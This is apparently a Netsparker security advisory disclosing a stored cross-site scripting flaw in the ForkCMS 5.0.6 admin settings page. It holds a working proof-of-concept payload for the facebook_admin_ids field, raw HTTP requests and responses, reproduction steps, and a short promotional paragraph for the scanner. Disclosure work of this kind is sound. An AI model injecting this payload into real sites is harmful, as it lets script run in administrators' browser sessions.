Advisory by Netsparker
Name: Stored Cross-site Scripting Vulnerabilities in ForkCMS
Affected Software: ForkCMS
Affected Versions: 5.0.6
Vulnerability: Stored Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-032

Technical Details

Injection Details

URL: http://{domain}/{forkcms_path}/private/en/settings
Parameter Name: facebook_admin_ids
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x018E3D) x="

Injection Raw Request

POST /{forkcms_path}/private/en/settings HTTP/1.1
Host: {domain}
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={cookie}


Identification Raw Request

GET /{forkcms_path}/private/en/settings HTTP/1.1
Host: {domain}
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={cookie}

Identification Raw Response

HTTP/1.1 200 OK
<!DOCTYPE html>
<html lang="en">
<input value="x" onmouseover=alert(0x018E3D) x="" id="facebookAdminIds" name="facebook_admin_ids" maxlength="255" type="text" class="form-control fork-form-text" />

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Repro Steps

  1. Login
  2. Go to "Settings > General" page
  3. Paste attack pattern to "Admin ids" input on the"Facebook" section
  4. Click "Add" button
  5. Click save button
  6. Trigger XSS: Take the mouse cursor over the "Admin ids" input on the "Facebook" section

Advisory Timeline

24th October 2017 - First Contact Attempt
31st December 2018 - Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing Netsparker Web Application Security Scanner.

About Netsparker

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Enterprise. Visit our website for more information.